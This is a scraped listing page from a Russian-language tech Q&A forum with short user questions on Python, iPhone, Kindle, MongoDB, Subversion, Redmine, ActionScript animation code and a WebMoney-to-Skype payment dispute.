    347   6   18:18, 13th August, 2020


    Многопоточное программирование?

    Где бы почитать про эту вещь в хорошем теоретическом аспекте, где были бы освещены паттерны, примеры, проблемы, хитрости и тому подобное?

    Желательно в применении к Python, но это не столь важно, куда важнее получить базис.

    А то пытаюсь реализовать некоторые вещи, а понимаю, что не знаю основ проектирования многопоточных приложений и создается ощущение, что клею обои через замочную скважину.

    Python   Многопоточность    

    348   3   10:23, 23rd August, 2020


    Пропал FaceTime на iPhone4 (iOS 4.1)?

    Куда-то бесследно пропал FaceTime с айфона. Даже после полного ресета не работает. Хотя, айфон подозревает об этой фукнции и каждый раз уведомляет, при обращении сторонних программ к адресной книге.

    Кто-нибудь сталкивался с подобной проблемой?

    Оператор МТС, (где-то читал на форуме, что это зависит от оператора)

    iPhone   iOS    

    371   1   20:38, 23rd August, 2020


    Разработка приложений для iphone

    В чем плюсы и минусы использования той или иной платформы для программирования приложений айфона. В частности интересует flash и objective c. Какой платформой вы бы рекомендовали пользоваться, или возможно интересно как то совмещать их положительные стороны, дабы избавиться от отрицательных. Спасибо за ответы.

    iPhone   Objective-C   Adobe   Flash    

    458   2   16:59, 14th August, 2020


    Плавная анимация 30-100 объектов на ActionScript 3

    Хочу сделать для своей Flash игры анимацию воздушными шариками которые пролетают через экран при успешном прохождении уровня.

    Но не получается сделать это плавно и что бы еще и процессор не отжирало сильно.
    Шарики у меня это муви клипы, которым я рандомно изменяю размер в большую и меньшую сторону, что бы создать впечатление «разных» шариков. Движение шариков делаю с использованием библиотеки TweenMax.

    Но результат меня удручает своим качеством.

    вот кусок кода который я использую:

    public static function randomScale(shape: DisplayObject, ll: Number, ul: Number): void
    {
    var sc: Number = 1 + Math.random() * ((Math.random() < 0.5) ? 1 : -1);
    sc = ((sc < ll) || (sc > ul)) ? 1 : sc;
    if (sc != 1)
    {
    shape.scaleX = sc;
    shape.scaleY = sc;
    }
    }

    /**
    * Произвести запуск объектов в полет от низа контейнера к верху, можно использовать для оформления прохождения уровня.
    *
    * @param parent - родительский контейнер внутри которого будут летать объекты.
    * @param duration - длительность анимации.
    * @param delayMax - максимальная задержка перед анимацией.
    * @param deltaX - максимальное отклонение по координате X в лево или право, для придания естественности поведения.
    * @param scale - применять изменение масштаба объектов в диапазоне от 0.7 до 1.5.
    * @param callback - функция вызываемая по окончанию анимации.
    */
    public static function fly(parent: DisplayObjectContainer, shapes: Vector.,
    duration: Number, delayMax: Number,
    deltaX: uint,
    scale: Boolean = false,
    callback: Function = null): void
    {
    // получаем габариты родительского контейнера
    var w: uint = parent.width;
    var h: uint = parent.height;
    var cnt: uint = shapes.length;

    // запускаем объекты один за одним
    for each (var shape: MovieClip in shapes)
    {
    // случайное положение объекта
    shape.x = Math.round(Math.random() * w);
    shape.y = h + 5; // исходно объекты находятся внизу
    shape.visible = false;
    // изменение масштаба объекта в небольшм диапазоне
    if (scale)
    {
    randomScale(shape, 0.7, 1.5);
    }
    parent.addChild(shape);

    // запускаем анимацию полета
    TweenMax.to(shape, duration, // длительность анимации
    {delay: delayMax * Math.random(), // произвольная задержка 0...delayMax секунды, что бы выглядело естественно
    x: shape.x + (Math.round(Math.random() * deltaX * 2) - deltaX), // точка назначения отличается ± deltaX от исходной
    y: -150, // объекты улетают за границу экрана
    ease: Linear.easeIn, // объекты летят с линейной скоростью
    visible: false, // в конце они становятся невидимыми
    onInit: showShape,
    onInitParams: [shape],
    onComplete: removeShape, // метод для зачистки по окончании анимации
    onCompleteParams: [shape]
    });
    }
    function showShape(child: MovieClip): void
    {
    child.visible = true;
    }
    /** Зачистка по окончании анимации */
    function removeShape(child: MovieClip): void
    {
    // удаляем объекты из контейнера по окончанию анимации
    parent.removeChild(child);
    }
    }
    }

    ActionScript   Adobe   Flash    

    321   5   04:22, 1st August, 2020


    Python. С чего начать учить?

    Хочу кодить под Убунту, ну и просто выучить Python.

    С чего начать? Что читать, где взять, что и как?

    Python   IT-образование    

    355   6   19:38, 26th August, 2020


    Спам от beeline(?) на iPhone?

    Всем привет. Сегодня избавился от маленького мамонта из 2003 годов и достал с полки iPhone 2g.

    Как только вставил симку от пчелайна сразу пришло уведомление аля:



    'Бесплатно! всё о чем днем можно только мечтать становится доступно ночью'

    Отменить Принять.



    Эта хреновина пришла не как СМС а я даже не знаю что.

    Как звонок входящий прямо…



    Как от этого избавится? Как это называется? Это билайн?



    До этого телефон был вообще с USA симкой и за пару лет использования НИ РАЗУ такого не видел (в штатах естественно)!

    iPhone   Билайн   Борьба   со   спамом    

    389   8   11:31, 7th August, 2020


    Словари на Amazon Kindle?

    Я изучаю французский и хотел бы установить франо-русский словарь в киндл 3го поколения.

    К сожаления я не смог найти ни словаря ни инструкцию, как это делать.



    Вы знаете что-либо по этому вопросу?

    Amazon   Kindle    

    428   1   02:56, 6th August, 2020


    Объясните, зачем нужны документо-ориентированные БД (MongoDB)?

    Сабж. Вот не пойму я. Приведите пожалуйста побольше практических решений примения. Для Business-сектора, например.

    MongoDB   Базы   данных   Бизнес-информатика    

    533   7   10:23, 24th August, 2020


    Django + MongoDB?

    Собственно вопрос. Как можно заставить Django работать с MongoDB или вообще с noSQL базами данных.



    Спасибо

    Django   MongoDB    

    418   3   03:26, 5th August, 2020


    Ruby on Rails 3 validation model

    Предположим у нас есть User модель и в ней есть first_name, last_name, email поля. Все они обязательные. Соотвественно в модели мы прописываем
    что-то типа такого

    validates :first_name, :presence => true
    validates :last_name, :presence => true
    validates :email, :presence => true

    и все было бы хорошо если бы форма была на одной странице.
    А теперь вопрос, как поступть с validation если форма для апдейта first_name и last_name на одной странице а email на другой.
    По умолчанию так сказать на форме где first_name и last_name если ее засабмитеть то будет ошибка что мол email требуется и это верно (у меня же email на другой странице нужно обновлять), тоже самое и на форме email где валидация будет просить first_name и last_name. Меня интересует как в Rails 3 корректно обрабатывать такую ситуацию.

    К примеру в ASP.NET MVC я делаю как бы child ViewModel непосредственно для конкретного View проверяю поля и потом делаю маппинг свойств с родительской моделью. Как правильно это сделать в Rails 3?

    Ruby   on   Rails    

    255   5   05:10, 26th August, 2020


    Не могу запустить redmine :(

    Добрый день, коллеги.

    Понадобилось мне поставить development версию redmine, дабы посмотреть как там одна функциональность устроена. Но так как веб разработка — не мой профиль, то как и ожидалось ничего не получилось :(. Вроде бы делаю все по феншую, в полном соответствии с инструкцией на redmine.org, на дружественной MacOS — но не работает. Если у кого есть опыт установки redmine — подскажите, что это может быть.

    ОС: Mac OS X Snow Leopard со всеми обновлениями.
    Ruby: 1.8.7
    Rails: 2.3.5
    Rack: 1.0.1

    Выполняю следующие команды:

    svn checkout redmine.rubyforge.org/svn/tags/1.0.2 redmine
    cd redmine
    cp config/database.yml.example config/database.yml
    vi config/database.yml
    Меняю production и development на SQLite
    rake generate_session_store
    RAILS_ENV=development rake db:migrate
    RAILS_ENV=development rake redmine:load_default_data
    ruby script/server -e development


    Сервер запускается, главная страница Redmine доступна на хттп://0.0.0.0:3000
    После логина admin/admin при попытке зайти в profile получаем:

    ArgumentError in My#account
    Showing app/views/my/_sidebar.rhtml where line #4 raised:
    wrong number of arguments (2 for 0)

    Extracted source (around line #4):
    1:

    <%=l(:label_my_account)%>


    2:
    3: <%=l(:field_login)%>: <%= @user.login %>
    4: <%=l(:field_created_on)%>: <%= format_time(@user.created_on) %>
    5:
    6:
    7:

    <%= l(:label_feeds_access_key) %>



    Trace of template inclusion: app/views/my/account.rhtml
    RAILS_ROOT: /Users/eye/rails/redmine


    То же самое в trunk и при production. Ошибку понять не могу, по коду идет абсолютно валидный вызов метода о двух параметрах с двумя аргументами — в трейсе же написано что у вызываемого метода не два параметра, а ноль. Либо я совсем не знаю синтаксиса ruby, либо рефлекшн с полиморфизмом постарались :(.

    Ruby   on   Rails    

    251   1   16:01, 23rd August, 2020


    Проблема связи php и python через memcached?

    если совершается set из php в memcache то при попытке сделать get по такому ключу из python получаю:
    &gt;&gt;&gt; import sys; print('%s %s' % (sys.executable or sys.platform, sys.version))<br/>
    /usr/bin/python2.6 2.6.6 (r266:84292, Sep 15 2010, 15:52:39) <br/>
    [GCC 4.4.5]<br/>
    &gt;&gt;&gt; import memcache<br/>
    &gt;&gt;&gt; import binascii<br/>
    &gt;&gt;&gt; m=memcache.Client(['127.0.0.1:11211'], debug=0)<br/>
    &gt;&gt;&gt; def php_hash(key):<br/>
    ... return (binascii.crc32(key) &gt;&gt; 16) & 0x7fff<br/>
    ... <br/>
    &gt;&gt;&gt; m.get((php_hash(mfd.php_nexttime), mfd.php_nexttime))<br/>
    Traceback (most recent call last):<br/>
     File &quot;&quot;, line 1, in NameError: name 'mfd' is not defined<br/>
    &gt;&gt;&gt; m.get((php_hash('mfd.php_nexttime'), 'mfd.php_nexttime'))<br/>
    Traceback (most recent call last):<br/>
     File &quot;&quot;, line 1, in  File &quot;/usr/lib/pymodules/python2.6/memcache.py&quot;, line 779, in get<br/>
     return self._get('get', key)<br/>
     File &quot;/usr/lib/pymodules/python2.6/memcache.py&quot;, line 766, in _get<br/>
     value = self._recv_value(server, flags, rlen)<br/>
     File &quot;/usr/lib/pymodules/python2.6/memcache.py&quot;, line 915, in _recv_value<br/>
     return val<br/>
    UnboundLocalError: local variable 'val' referenced before assignment<br/>
    <br/>
    Устал гуглить может кто ни будь сталкивался?

    PHP   Python   Memcached    

    322   3   17:19, 24th August, 2020


    Разработка проекта на разных компьютерах

    Есть проект — сайт, хостится на виртуальном хостинге.
    Его разработка ведется одним человеком (мной =) на макбуке и большом домашнем desktop'е. Иногда надо что-то сделать в дороге, делаю на макбуке и потом фтп заливаю на фтп хостинга. Дома на десктопе приходится сливать с хостинга себе обратно и работать дальше.

    Какое средство можете посоветовать, чтобы оптимизировать эту схему с меньшими затратами (работать в дороге, грузить с/на фтп и т.д)?

    З.Ы. Важно удобство и на Mac, и на Windows. И попроще желательно…



    DLNA сервер под Linux без гуя

    В связи с покупкой PS3 хотелось бы поднять на домашнем сервере (Debian Squeeze) медиа-сервер, который бы мог бы транслировать видео и желательно аудио с сервера на приставку. Погуглив, узнал что это возможно по стандарту DLNA. Так как на сервере нет иксов, хотелось бы что-то вроде демона. Кто сталкивался, посоветуйте?

    Debian   DLNA   Windows   Sony   PlayStation    

    394   3   23:51, 9th August, 2020


    3d в as 3

    Поделитесь наиболее качественными материалами по разработке трех-мерных интерфейсов на Actionscript 3, можно ли в коде использовать координату z, или для этого обязательно использовать какой то «3д двигатель» ) спасибо

    3D   ActionScript    

    261   1   23:46, 27th August, 2020


    Модули для Python2.7 в mint 10

    Я поставил минт 10-й. Там по умолчанию установлен интерпритатор 2.6.6, но через менеджер пакетов можно установить 2.7, что я и сделал.
    Проблема в том, что при установке модулей из менеджера(майэскьюэльдэбэ, джанго и так далее) они ставятся на 2.6.6, в 2.7 же их можно ставить только через скачивание пакетов и командную строку.
    Можно ли както заставить менеджер пакетов выбирать, на какой пайтон ставить модули, или чтобы он всегда ставил их на 2.7?

    Python   Mint   Synaptics    

    338   2   02:29, 15th August, 2020


    PS3 через AdHoc?

    Приветствую.


    Недавно обзавелся приставкой PS3. Для подключения к интернету требуется либо wifi, либо сетевой шнур.


    К сожалению, в данный момент, у меня нет возможности иметь нормальный интернет дома и поэтому я получаю его через 3g сеть (трафик у меня не ограничен), используя айфон 4. Через айфон существует возможность создать AdHoc сеть чтобы делиться интернетом с другими девайсами (например ноутбуками, айпадами и т.д..). По какой-то причине PS3 отказывается находить AdHoc сеть. Дальнейшие поиски в интернете показали что только нормальные беспроводные сети разпознаются Ps3 для подключения.


    У кого-нибудь был опыт подключения Playstation 3 к интернету через AdHoc в обход запретам прошивки или быть может в связке с wireless router можно как-то создать нормальную домашнюю сеть с доступом в интернет?


    Заранее спасибо.

    Sony   PlayStation    

    252   1   14:37, 10th August, 2020


    Как синхронизировать версию базы данных MySQL и кода веб-приложения при разработке?

    Исходные данные:
    1) веб-приложение на php (ну да это не важно на каком языке), лежащее в git (ну или другой CVS)
    2) база данных MySQL
    3) Весь SQL-код хранится в БД в виде хранимых процедур.

    Как поддерживать синхронизацию кода приложения и структуру БД и хранимые процедуры?
    С процедурами дело конечно обстоит проще — можно каждую процедуру положить в отдельный файл, который отслеживается в git (ну или другой CVS)
    А вот как быть со структурой таблиц? Генерить ручками при каждом изменении ALTER TABLE и класть их в отдельные файлы — трудоемко.
    Может есть какие-то утилиты, которые позволяют делать это автоматически, а-ля Oracle Database Version Control?
    Хочется иметь возможность при обновлении версии приложения — выполнить один sql-скрипт, который обновит базу данных. Если конечно такое возможно.

    MySQL   Git   CVS   Subversion    

    350   5   01:11, 5th August, 2020


    как прицепить в svn код из другого репозитория?

    В проекте используются сторонние библиотеки.
    Они живут в своих репозиториях, хочется иметь возможность их оттуда обновлять, и хранить нужную ревизию в нашем репозитории.
    По каким ключевым словам грепать svn мануал?

    CVS   Subversion    

    409   2   10:29, 18th August, 2020


    Вызов python3 скрипта из java?

    Пользуюсь на домашнем сервачке для скачки торрентов uTorrent for Linux.


    Он имеет один большой (для меня) недостаток — в нем нет возможности определить, в какую папку загружать данный конкретный торрент.


    Есть скрипт на python3, который помогает решить эту задачу.
    Здесь находится ветка его обсуждения.

    Хотел написать к нему небольшую десктопную морду, в которой можно будет ввести абсолютный путь на сервере, куда сохранять, выбрать торрент, который скачивать и вводить логин-пароль для сервера.


    Столкнулся с тем, что не знаю, как вызывать питонский скрипт из джавы.

    Прошу помощи.

    Python   Java    

    323   3   04:37, 5th August, 2020


    Подскажите пожалуйста систему контроля за программистом

    есть ли простая и удобная система для учёта затраченного времени программистом и просмотра результата, строчек кода? есть SVN, redmine, но там всё вручную, хотелось бы автоматизировать процесс, чтобы после обновления SVN, был виден результат и затраченное время



    Стоит ли сейчас python-щику изучать Java или C++?

    Заранеее извиняюсь, если вопрос покажется холиварным.
    Поэтому прошу без эмоций.

    Собственно ситуация следующая:
    знаю python и django 2 года,
    но хочется выучить статически-компилируемый язык, да и в целом чего-то более серьезного.
    Область: web server-side.

    В общем-то все бы ничего, python очень хорош, но вакансий мало.
    В будущем планирую зарубеж, поэтому по вакансиям ориентируюсь на:
    www.monster.com/
    www.dice.com/

    по java/c++ в десятки раз вакансий больше.

    Начал изучать java, но в свете последних непонятных событий с java желание слегка убавляется.

    Прошу помощи у сообщества, хотелось бы услышать советы в какую сторону стоит копать,
    нужно что-либо кроссплатформенное (поэтому .NET отпадает).

    c++ не знаю, и по алгоритмам в общем-то тоже не особо силен.

    пока видятся следующие претенденты на ближайшее изучение:
    — java (собственное стоит ли бояться за ее будущее?)
    — c++
    — c
    — go
    — erlang
    — c#

    Спасибо за любую информацию.

    Python   Java   C++    

    428   8   12:50, 23rd August, 2020


    На чем писать сайт под Iphone+Android+желательно Opera

    Приветствую всех,
    вобщем есть идея сервиса для мобильных устройств, подскажите на чём лучше делать интерфейс.
    Пожалуйста отвечайте только если Вы сами использовали фреймворк, потому как их дофига и я их все видел, просто хочу понять что реально работает.

    Всем спасибо

    Opera   iPhone   Android    

    342   3   04:38, 13th August, 2020


    Регистрация в Amazon web services?

    Регистрация там, как регистрация кроме одного пункта — мне должны позвонить и я должен им передать код, который они выдали во время регистрации. Вопрос — как передать код?


    Допустим код — 1234.


    Я должен продиктовать 1-2-3-4 или сказать одна тысяча двести тридцать четыре? Погуглив кто-то рассказывал что можно не рассказывать, а ввести через телефон. Как ввести? Что нажать до, что после?

    Amazon   Web   Services    

    329   5   02:56, 24th August, 2020


    Выжать все соки из VPN на Linksys WRT54GL?

    Всем привет.

    Недавно поймал себя на мысли, что после подключения к интернету через вышеупомянутый роутер по L2TP, скорость закачки не выше 10Мбит/сек из 25Мбит/сек возможных.

    Если подключать компьютер без роутера — все хорошо, и скорость доступна вся (25Мбит/сек).


    Роутер Linksys WRT54GL с родной прошивкой, актуальная версия.


    Пробовал ставить Tomato — не заметил особых изменений скорости, но роутер периодически стал подвисать. С DD-WRT что-то подобное наблюдалось.


    Есть ли возможность выжать больше скорости из роутера?

    VPN   Linksys   Прошивка   Client   side   optimization    

    329   2   01:41, 1st August, 2020


    Библиотеки Python, для научных расчетов?

    Есть какие-нибудь библиотеки, которые по известным формулам и значениям эксперимента, определяют его коэффициенты?


    Пример:


    -2.84 = k3*82.19 + k4*15.42 + k9*0.73


    0.08 = -k1*15.12 + k2*11.08 + k6*7.43 — k9*…


    1.58…


    0.001…


    Нужно найти все k в этом.


    UPD:


    В некоторых уравнениях неизвестно по 3 по 4 k — их можно только или подобрать, или я не знаю, что…

    Python    

    385   2   07:54, 17th August, 2020


    Amazon AWS. Возможность stop/start?

    Здравствуйте.

    Никак не могу найти в чем причина. Некоторые AMI (instance) на Ubuntu могут останавливаться и стартовать, а некоторые только terminate. Никак не могу понять почему.

    Как научить существующую готовую AMI (например ami-294aa340) останавливаться и стартовать?

    Amazon   Web   Services    

    380   2   04:25, 3rd August, 2020


    Корпус iPhone 3g

    Появилась трещина возле usb разъема на моём iphone 3g 8GB, подскажите где можно заказать эту крышку за адекватную стоимость?
    Спасибо.

    iPhone   Железо    

    319   2   15:25, 4th August, 2020


    Как создать претензию в арбитраж вебмани через mini

    Ситуация: кошелек привязан к киперу классик, но сейчас компьютер с ключиками от меня далеко, есть доступ к кошельку только через сервис mini.webmoney.ru.

    Сейчас необходимо создать претензию по платежу. Как это сделать?

    WebMoney    

    267   1   12:40, 15th August, 2020


    Принципы работы модема в Kindle 3 Wi-Fi+3G

    Доброго дня, комрады!
    Как известно, Kindle 3 Wi-Fi+3G позволяет воспользоваться 3G/EDGE/GPRS соединением с интернетом в более чем 100 странах, на основании соглашения между Амазон и провайдерами.
    Однако было бы весьма интересным узнать, на каком основании провайдеры предоставляют бесплатный доступ. Как они идентифицируют устройства? По уникальному ID каждого встроенного модема? По версии браузера?
    И чисто теоретический вопрос: если пользователи знают принципы идентификации, возможна ли эмуляция модема, либо его перепрошивка, либо физическое извлечение для использования впоследствии в связке с ПК?
    Изложите свои мнения по данному вопросу!

    Amazon   Kindle    

    329   4   03:44, 9th August, 2020


    Внимание! Пополняя счёт в Skype c WebMoney, вы рискуете выбросить деньги на ветер. Кто виноват и что делать?

    Сначала хотел разместить нижеследующий текст в блоге «Я негодую», но, т.к. моя «слово_которое_нельзя_произносить» всего 1, вместо 5, вынужден разместить здесь, но с полагающимся вопросом, чтоб всё было по протоколу.

    IP-телефония — вещь несомненно прекрасная, ведь именно благодаря ей каждый хабрачеловек (и, что характерно, не только) имеет возможность совершать звонки на огромные расстояния за смешные деньги, внося свою скромную лепту в богоугодное дело — борьбу с ветряными мельницами монополистами сотовой связи и прочими телекомами. И несмотря на то, что на Хабре частенько пускают лучи ненависти в сторону Skype, мол, и протокол у них закрытый, проприентарный, и клиентов альтернативных практически нет, а официальный не сказать, чтоб был идеален, и реализация оффлайн-сообщений, скажем так, немного спорная и т.д. и т.п., но, в основном, это придирки и дело вкуса. Скайпу оно не мешает прекрасно функционировать в качестве средства IP-телефонии. Однако, как выяснилось, есть ещё один нюанс, определенно неприятный: оказывается, есть вероятность, что при пополнении счета в Skype с WebMoney, деньги, подобно свиньям в небезызвестной истории, выпрыгивающим из поезда на ходу, могут потеряться по пути, а скайп и WebMoney будут перекладывать вину за случившееся друг на друга, что гораздо неприятнее самого факта пропажи денег. Но обо всем по порядку.

    Смеркалось. Потребовалось мне совершить звонок на неблизкое расстояние. Естественно, для этой цели решил задействовать хорошее и проверенное средство — скайп. Однако, при попытке положить на счет в него свои кровные, выскочило сообщение об ошибке и о том, что платеж не проведен. «Не беда» — подумал я — «ведь если платеж не проведен, деньги по-прежнему должны быть у меня на счете. Ведь платеж не проведен». Как бы не так.

    Первая волна удивления настигла меня, когда я заметил, что деньги с кошелька всё-таки снялись. «WTF?!!» — подумал я. Тем временем, на почту ко мне «упало» письмо оптимистичного содержания:

    Здравствуйте, %username%!
    www.skype.com
    Проблемы с платежом
    К сожалению, ваш платеж не прошел. Но причин для беспокойства нет, так как средства с вашей карты или счета переведены не были.
    Информация о вашем заказе:
    Логин Skype: %userlogin%
    Сумма к оплате: %usermoney% USD
    Дата платежа: 10.11.2010
    Номер: 424379370
    Статус заказа: Отклонен
    Почему мой платеж был отклонен?
    К сожалению, ваш банк отказался провести эту операцию. За подробной информацией обратитесь в свой банк.
    Что мне делать?
    Мы рекомендуем пользоваться PayPal – простым и быстрым способом оплаты через Интернет – или другим методом оплаты, например кредитными или дебетовыми карточками, системой Moneybookers, обычным банковским переводом или ваучерами. См. перечень способов оплаты продуктов Skype.

    До скорого!
    Ваш Skype



    «Хм.» — подумал я. И, как и порекомендовали в письме, решил обратиться в банк, вернее в саппорт WebMoney. Написал им письмо, в котором подробно изложил ситуацию, приложил к нему письмо от скайпа и скриншоты из истории операций кипера. Отправил письмо, и со спокойной душой и чистой совестью отправился спать, но это уже по собственной инициативе. Ответ саппорта не заставил себя долго ждать:

    Здравствуйте!
    Cредства переведены на кошелек Z390837512186.
    Обратитесь пожалуйста к владельцу этого кошелька по внутренней почте WM.


    «Прекрасно» — подумал я и наивно попытался написать сообщение владельцу указанного кошелька с помощью указанного средства. Естественно, мне предлагают запросить авторизацию, чтобы отправить сообщение. Запрашиваю. Реакции никакой. Соответственно, написать сообщение не могу. Пишу обратно в саппорт WM, излагая проблему. Их замечательный ответ снова не заставил себя долго ждать:

    Здравствуйте!
    К сожалению мы Вам ничем помочь не сможем.


    "#@#$%#@ @#$@#$ @#$@#$@#$!!!" — подумал я и полез во всезнающий гугл, от которого толку оказалось несколько больше, чем от саппорта. Беглое гугление показало, что в этот день аналогичным образом заработанных честным трудом денежных знаков лишился не я один (это была, как ни странно хорошая новость, ведь если конец света когда-нибудь настанет и все умрут, это будет не так обидно, т.к. умрут все): ветка на официальном форуме, куда отписалось несколько пострадавших (думаю, их было несколько больше, просто отписались далеко не все.). Плохая новость заключалась в том, что деньги пока никому не вернули, а WM и Скайп перекладывают вину друг на друга и, по большому счету, игнорируют своих же клиентов.

    Отписался в саппорт WM с указанием этой ветки и просьбой принять санкции к стороне, принимающей платеж, чтоб они наконец начали решать проблему. Запасся поп-корном.

    И да. Вопрос: кто виноват и что делать?

    Skype   WebMoney    

    343   2   20:17, 25th August, 2020


    Настройка Push от Gmail на Iphone?

    Привет. Есть следующая проблема:

    При использовании Push от Gmail большинство писем (кроме тех, что в кодировке UTF-8) приходят на телефон в нечитаемом виде. Насколько я вижу, моя проблема не уникальна. www.google.as/support/forum/p/Google+Mobile/thread...


    Вопрос — как с этим бороться и актуальна ли проблема только на Iphone или на других телефонах тоже?

    iPhone   Gmail    

    355   3   21:55, 18th August, 2020


    Помогите найти userscript для GreaseMonkey

    У меня есть мечта



    Это реально?

    Google   Greasemonkey   Gmail   Userscript    

    371   1   22:01, 27th August, 2020


    Резервное копирование с помощью backup-manager на s3

    Добрый день, использую backup-manager для резервного копирования на Amazon S3.

    Однако вопрос, как копировать бэкапы в определённую папку в bucket'е?
    Директива BM_UPLOAD_DESTINATION=«folder_name» результата не даёт. Бэкапы всё-равно льются в корень bucket'а.

    и, в качестве дополнения, второй вопрос. Допустим надо бэкапить определённую директорию раз в 15 минут. Но! даже если что-то в директории изменилось, backup-manager создаёт один архив на один день:
    File /var/archives/hostname-etc.20101113.master.tar.gz already exists, skipping.
    Можно ли это победить каким-то образом?

    Amazon   Web   Services   Резервное   копирование    

    322   1   17:12, 19th August, 2020


    Получить все реплаи к твиту

    Мне нужно получить все реплаи к определенному твиту, как это делает веб-клиент на twitter.com

    Я пишу на python, но все готовые решения я уже просмотрел и там нет нужного функционала. Пример.

    Python   Компьютерные   сети    

    366   1   17:15, 2nd August, 2020


    Connect python gtk application and facebook?

    Захотел я попробовать создать небольшое приложение на gtk с возможностью отправки сообщений на аккаунт в facebook. Возникла проблема с авторизацией.

    Facebook хочет чтоб пользователю показывалсь страница на которой бы он разрешал доступ приложения к его профилю. После гуглению пришле к выводу, что нужно использовать webkit gtk. К сожалению в интернете документацию по нем практически отсутствует. Как не бился над этой проблемой так ничего и не получилось:(

    Может кто-то то уже сталкивался с подобной проблемой и подскажет как мне авторизовать пользователя на фейсбуке из десктопного приложения.

    Знаю что это реализовано в gwibber, но там все очень сложно. Хотелось бы простых примеров, чтоб понять как нужно делать.

    Python   Facebook   GTK+   Мобильная   разработка    

    428   2   20:44, 17th August, 2020


    отладка UserJS (Greasemonkey)

    подскажите пожалуйста, чем можно отлаживать greasemonkey-скрипты в firefox?
    крайне желательно наличие breakpoints, watches

    Greasemonkey   Отладка   Userscript    

    327   2   04:13, 1st August, 2020


    Python vs Java

    Добрый день.
    Стою перед нелегким выбором. Если максимально упростить задачу, у меня есть 2 вакансии: соответственно Python/Django и JavaEE.
    Будем считать, что условия работы одинаковые, зарплаты одинаковые (хотя, до офиса питоноводов мне гораздо ближе) и знаю я обе платформы одинаково средне.

    Вопрос к знатокам: что перспективней? В какой области специалисты больше ценятся и легче находят работу? Помогите определиться:)

    Другие языки мне не интересны, да и о достоиствах что джавы что питона я прекрасно знаю. То что любой опыт полезен и настоящему профи не важно на чем писать понимаю. Вопрос исключительно корыстный — в каком случае я буду больше зарабатывать через 5 лет при прочих равных.

    Python   Java    

    288   12   23:22, 13th August, 2020


    Русификация Kindle 3

    Kindle3 — отличная читалка! Однако дефолтная прошивка обладает одним недостатком — невозможно выполнить поиск по русским названиям книг.
    Сейчас прочитал статью об использовании английской DesireZ и стало интересно, а есть ли подобные методы транслитерального ввода для Kindle?
    Например:
    ш: sh
    щ: w
    ь: q
    ъ: qq
    ю: yu или uu
    ую: uyu
    и т.д.
    Есть ли кастомные прошивки, которые реализуют такую функцию?

    Если кто сталкивался, поделитесь, пожалуйста, опытом! :)

    Amazon   Kindle    

    354   2   22:14, 1st August, 2020


    PHP tokenizer на Python?

    Существует ли аналог tokenizer'a из PHP на Python, либо же подобные лексеры для разбора PHP-кода?

    PHP   Python    

    373   1   04:45, 20th August, 2020


    Как хранить конфиги с паролями в репозитории

    Только начинаю пользоваться svn и возможно вопрос глупый. Вот есть у меня проект на php, хранится в SVN репозитории. К нему есть build.xml для phing который выполняет развертывание приложения в двух вариантах на тестовом и основном серверах. Все параметры для доступа к базе прописаны в build.xml. Собственно это нормально хранить в репозитории пароли для доступа к базам и прочим внешним ресурсам или это делается по другому?

    CVS   Subversion    

    300   2   23:35, 16th August, 2020


    С какой версии начать изучение python?

    Закончились наконец-то мои внутренние муки выбора той технологии, которую хочу начать изучать.

    На основе прочтения многих постов, вопросов и ответов, блогов и т.д. пришел к выводу, что это будет Python. И django в перспективе.

    И, соответственно, озадачился выбором литературы. На хабре большинство по моим наблюдением советует книгу «Изучаем Python» Марка Лутца. Но есть одно но: только 3-е издание книги переведено на русский(а хочется читать на родном всё-таки), в ней рассматривается второй Python. Есть более свежая книга, «Программирование на Python 3. Подробное руководство»(озон), в ней рассматривается как раз 3-я версия Python'а. Так же, видел мнения что стоит начать изучение со второй версии, так как третья пока сыровата(но может быть это мнение уже устарело, не знаю).

    Вот и встала передо мной диллема: изучать по более новой, но не проверенной книге, и сразу впитывать все новшества и плюсы новой версии. Либо читать зарекомендовавшую себя книгу, пусть и по более старой, но проверенной версии python'a? Тем более, посмотрев на официальном сайте, понял что поддерживаются обе ветки(и написано: если не знаете, что выбрать, выбирайте 2ую версию).

    Python   Книги    

    404   14   14:20, 15th August, 2020


    По какому принципу ломаются приложения/игры для айфона?

    Алгоритм взлома для всех приложений одинаков, или все-таки приходится ломать голову и выискивать дырки?

    iPhone    

    280   2   12:08, 18th August, 2020


    Вывод webmoney

    Привет всем!
    Я фрилансер, и так случилось что зарплату мне платят в webmoney.
    Но я никогда раньше не пользовался электронными валютами потому хочу спросить:

    Какой лучший способ вывода webmoney вы бы могли посоветовать?
    Какие плюсы минусы у каждого способа.
    Как мне быть с налоговой?

    Заранее всем спасибо.



    Дата выхода анлока модема iPhone

    Добрый вечер.
    Кто-нибудь владеет информацией о дате выхода разлочки айфона с версией модема 05.14.02?
    Спасибо.

    iPhone    

    303   1   17:29, 29th August, 2020


    MongoDB и OLAP

    Требуется по имеющейся информации о клиентах компании выполнять OLAP обработку данных, строить отчеты, применять различные методы data mining (строить деревья решения, осуществлять кластеризацию и т.д.). Почитал про mongodb — завлекает своей простотой, возможностью map/reduce (думаю это очень облегчит построение всяческих отчетов), масштабируемостью, но так как дела с ней никогда не имел, то спрашиваю совета, стоит ли ее юзать для требуемых задач?

    Data   mining   MongoDB   OLAP    

    418   2   23:34, 21st August, 2020


    Разделять ли содержимое объекта и данные по его расположению в иерархии?

    Звучит наверное не совсем понятно, поэтому поясню:

    Пусть у нас есть дерево комментариев (Nested Sets или еще что-то, в принципе не важно). Стоит ли выносить поля, не относящиеся напрямую к комментариям (lft, rgt, parent_id и т.д.) в отдельную таблицу БД? С одной стороны, мы избавляемся от привязки к конкретной структуре комментариев (всегда можно поменять NS на MP или еще что-то), а с другой — появляются сложности с объединением этих таблиц.



    Как сделать OR в MongoDB?

    Чтобы выбрать поля по конъюнкции двух условий пишем просто:
    db.blabla.find({ field1: value1, field2: value2 })

    а как сделать, чтобы запрос был с дизъюнкцией? Чтобы выбирал всё, где field1 = value1 OR field2 = value2?

    Может я очень плохо читаю маны, но бьюсь уже давно, обычно находил способ обойти (иногда через $in, если поле одно), но сейчас в тупике.

    upd: Пока публиковал пост, нашел, что фичу $or добавили в 1.5.3. То есть в 1.4 способа нет? Как раньше-то жили?

    MongoDB   JSON    

    317   2   14:04, 27th August, 2020


    SVN diff output format

    Добрый день.

    Подскажите, пожалуйста, в каком формате svn diff выводит текст? У меня на Ubuntu 9.10 его понимают хорошо и Vim и Kate (подсвечивают соответствующим образом, фолдят и т.д.).

    Я хотел найти VIM-keystrokes для работы с этим форматом.

    CVS   Subversion    

    306   1   19:24, 22nd August, 2020


